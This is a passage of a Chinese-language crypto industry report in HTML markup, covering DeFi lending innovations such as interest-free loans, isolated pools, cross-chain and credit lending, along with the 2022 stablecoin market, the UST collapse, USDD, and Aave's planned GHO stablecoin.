1px;">无息贷款是借贷协议直接取消了利率这个变量。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在大多数 DeFi 协议的模型中，存款者可在提供流动性的同时获得一笔利息，而借款者在提取流动性的同时按利率支付利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在浮动利率的协议中，协议会按照基础资产的利用率、市场变动等因素调整利率。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">上文中提到 Compound 协议中基础资产的利用率提高时，存款利率和贷款利率同时提升，抑制用户的借款兴趣，加重了已借款者的经济负担。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">无息贷款让借款者只需归还借取的本金，没有额外的利息，借款者无需担心上述因素对利率的影响，有助于拉长借款者的借款周期。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">典型的项目是 Liquity，Liquity 用户在借出 LUSD 之后无需支付利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>2. 资产隔离池</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">资产隔离池指的是每个资产池中的资产仅在该池内分担风险，与平台的其余部分分开。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在资金池出现安全问题的时候，整个协议不会因此受到太大伤害，将协议风险降到最低。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">典型案例是 Rari Capital 的借贷产品 Fuse，Fuse 将多种代币集中到一个池子里，形成多资产贷款池。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">用户在这个池子里可以进行借贷操作，每个借贷池之间都是独立的关系。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=efcf7936&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0lwBn6T8CEiaKdK3ibGF78wic5EkFKYUT1neORTibiaY2mLAuicbpNzUb3QGA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"> </span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>3. 跨链借贷</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跨链借贷指的是用户在借贷平台上借出资产，通过借贷协议合作的跨链桥，将借出的资产转移到其他链上。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跨链借贷解决了单链流动性问题，在借贷协议多链部署的大背景下提升跨链互操作性，引入更多类型的资金和用户。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Radiant、FilDA 等项目已通过跨链桥实现跨链借贷。以 Radiant 为例，Radiant 用户可通过 Stargate 跨链桥，将借出的资产转移到目标链上。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>4. 信用贷</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">信用贷在传统金融当中非常普遍，银行需要对有贷款需求的用户进行信用评分之后放贷。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">传统金融的信用评分模型利用可观察到的借款人特征变量计算出一个数值（得分）来代表债务人的信用风险，并将借款人归类于不同的风险等级。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">严格的信用评分能有效防止借款人违约，降低银行的风险。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前在 DeFi 借贷协议当中采用信用贷的协议数量比较少，代表项目是 Wing Finance。Wing Finance 将引入信用评判机制来降低用户资产的质押率，逐步实现无抵押。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Wing Finance 信用机制借助于本体链的数字身份体系，收集用户的 KYC 信息，完成对用户履约风险的判断。平台根据用户的历史履约信息，确定用户的资产抵押率。</span></section><h2 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">3</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(165, 165, 165);letter-spacing: 0.5px;"><strong><strong style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">StableCoin</strong></strong></span></section></section></section></section></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">一、基本市场情况</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">截止2022年12月5日星期一，稳定币市场总计稳定币提供977.9亿美元，过去七天内稳定币流通量为1667亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">稳定币提供量在2021年底至今呈现基本稳定局面，从2021年底至2022年2月稳定币提供量稳定上升并在2月以后逐步下降，但下降局面基本可控。</span></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.52890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=572396a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0eNOtIhxIbkwGD6m9oTL5jw1ZPPTz578RgeSrKgPpIm54v5hJ3Bo4cA%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"> </span><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>稳定币提供量（数据来源 <a href="https://dune.com/0xheisenberg/stablecoin-supply）" target="_blank">https://dune.com/0xheisenberg/stablecoin-supply）</a></em></span></p><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.53203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=03f51750&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0hfW65dQCG34YVHapdr6XpgFhmSCckY8EkrDsxe1xs2JRzhCHrXywsw%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>稳定币提供量 （数据来源 <a href="https://dune.com/0xheisenberg/stablecoin-supply）" target="_blank">https://dune.com/0xheisenberg/stablecoin-supply）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><em><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(165, 165, 165);"><br/></span></em></span></section><h3 style="margin: 24px 1em 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">二、算法稳定币</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">算法稳定币早在2020年的DeFi Summer中就受到了关注，经过两年的探索，它已经发展到了第三代。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">第一代：AMPL 无资产支持，单币种系统，直接调整供应量；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">第二代：BAC，ESD 无资产支持，多币种系统，通过名为“债券”和“股票”的代币辅助调整供应量；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">第三代：UST，FEI，FRAX 有加密资产支持，单/多币种系统，通过稳定币和支持资产的双向兑换调整供应量；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">第三代算法稳定币与之前最大的区别就是有了足额的资产作为支持，以避免出现“死亡螺旋”。它们的发行机制中，都需要销毁或是抵押足额的加密资产，几乎从根本上改变了算法稳定币的内涵。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">本文仍沿用“算法稳定币”这个词，将其定义为“加密资产足额支持型“稳定币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">有了支持资产，算法稳定币才有可能抵御住市场整体的波动和它本身的价格下跌，长期保值价格锚定。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5834683954619124" data-s="300,640" style="" data-type="png" data-w="1234" src="https://wechat2rss.xlab.app/img-proxy/?k=4d85f9b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0wKhhmsWLKugedicEs5dk68hGYcAohiaVviaIJPG8ow0GXkrFq4f778fdA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">一套漂亮的机制设计还不能让算法稳定币实现规模扩张。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">一度风生水起的UST得以扩张的关键因素在于Terra公链上的借贷协议Anchor。用户可以在其中存入UST并获得APY为20%的固定收益。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">随着用户的涌入，LUNA的价格、UST的发行量和Anchor的TVL都一起向上。在今年3月，它甚至超越了DAI，成为了规模最大的去中心化稳定币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">不过到了今年5月，先是有LUNA价格持续下跌和Anchor调整为浮动利率，再有Curve池中UST比例失调和巨鲸抛售，UST终于迅速脱锚，之后再也没有回到1美元附近。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">LUNA的价格也跌去了99%以上，Anchor的TVL在一周之内腰斩。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">UST的和Terra的崩盘严重打击了市场信心，导致部分其他算法稳定币也出现了短暂脱锚，甚至被投资者定性为伪命题。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在这之后，其他项目也陷入困境。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以太坊上曾经自称DeFi 2.0项目的FEI，因与之合并的借贷协议Rari被盗，在是否全额赔付与如何处理财库资产上没能与受害用户和社区达成一致，又遭遇联合创始人主动离职，协议最终解散了。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">NEAR公链上的USN在7月宣布只接受USDT铸造为USN，这实际上是放弃了算法稳定币的模式。在10月终于因资不抵债而宣布将停止运营。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">尽管还在运行，但基于Waves公链的USDN的流通量在反复脱锚减少了近90%。算法稳定币再一次陷入了谷底。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">唯一能顶住压力的就是USDD，它拥有超过300%的抵押率，Huobi、Poloniex、Kucoin、Bybit、Gate等一批CEX和Sun.io、ellipsis等DeFi协议的支持，且对赎回有一定限制，发行量反而接近翻倍。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">下图是UST崩溃前后和当前主流算法稳定币的市值对比。当时发行量前5的算法稳定币的市值之和从5月8日的230亿美元迅速缩减到5月22日的不到40亿美元，2周时间下降了82.6%。目前这5个算法稳定币的总市值只有不到25亿美元，比起UST崩溃前已经下跌了约90%。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5a54c39f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0PMbCbGhx608icUEoDMtlG1K8IuUL9VWHV6IgKnNOVoTmpDJMfGtmPzw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">USDD的发行机制结合了算法稳定币和超额抵押稳定币的特点。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">它规定只有TRON DAO Reverse（TDR）的白名单机构才能以足额抵押TRX的方式（算法稳定币）发行USDD。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">TDR又为之储备了接近200%的包含TRX、BTC、USDC的抵押资产（从外部看是超额抵押）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">也只有这些白名单机构才有权销毁USDD并兑换出TRX。如果USDD有脱锚风险，它们是不会去挤兑的，因为这样会阻挡以后的财路。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">USDD获得了Huobi、Poloniex、Kucoin、Bybit、Gate等一批CEX和Sun.io、ellipsis等DeFi协议的支持，应用场景非常丰富。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">所以它在赛道几乎全军覆没的情况下发行量反而接近翻倍，并于 2022 年 10 月 7 日在多米尼克国获得法币地位。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这是继比特币之后，世界上第二批被授予法定数字货币资格的加密货币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br/></span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">三、超额抵押稳定币</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">今年7月，两个老牌DeFi协议Aave和Curve都宣布将要发行稳定币，给这个陷入沉寂的赛道注入了新的活力。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Curve计划推出的稳定币名为crvUSD，但没有透露更多信息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave将要发行的GHO尽管还是传统的超额抵押加密资产型稳定币，却实现了一些微创新，即引入了促进者（facilitator）这个新角色。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">促进者是指经过Aave Governance批准后，可以获得铸造和销毁GHO的权利的协议或实体。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">促进者可以根据自己的业务特点来设计铸造和销毁方式。为了控制风险，Aave Governance会给每个促进者设置GHO铸造的上限。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">促进者主要会带来以下变化：</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">（1） 提升GHO稳定币体系的灵活度。多个机构能够便捷地发行稳定币，而且抵押资产的种类可以有非常大的自由度。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">除了传统的抵押ETH、AAVE等代币的铸造方式以外，还可能会出现抵押现实世界资产（RWA）、Delta中性头寸、信用积分等各种铸造方式。这样可以激活更多资产的流动性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">（2） GHO发挥“沙丁鱼效应“，加速促进者的经济体系循环。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">GHO可以实现与一般的稳定币同样的功能，但它会与促进者本身经济模型绑定，推动业务运行、激励、代币质押等活动。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">如果设计得当，应该会有很多协议愿意加入促进者的行列。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此举主要的风险是协议复杂性的增加，可能被黑客发现可乘之机。考虑到Aave的技术实力较强，而且设置了促进者的发行上限，整体的风险应该可控。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 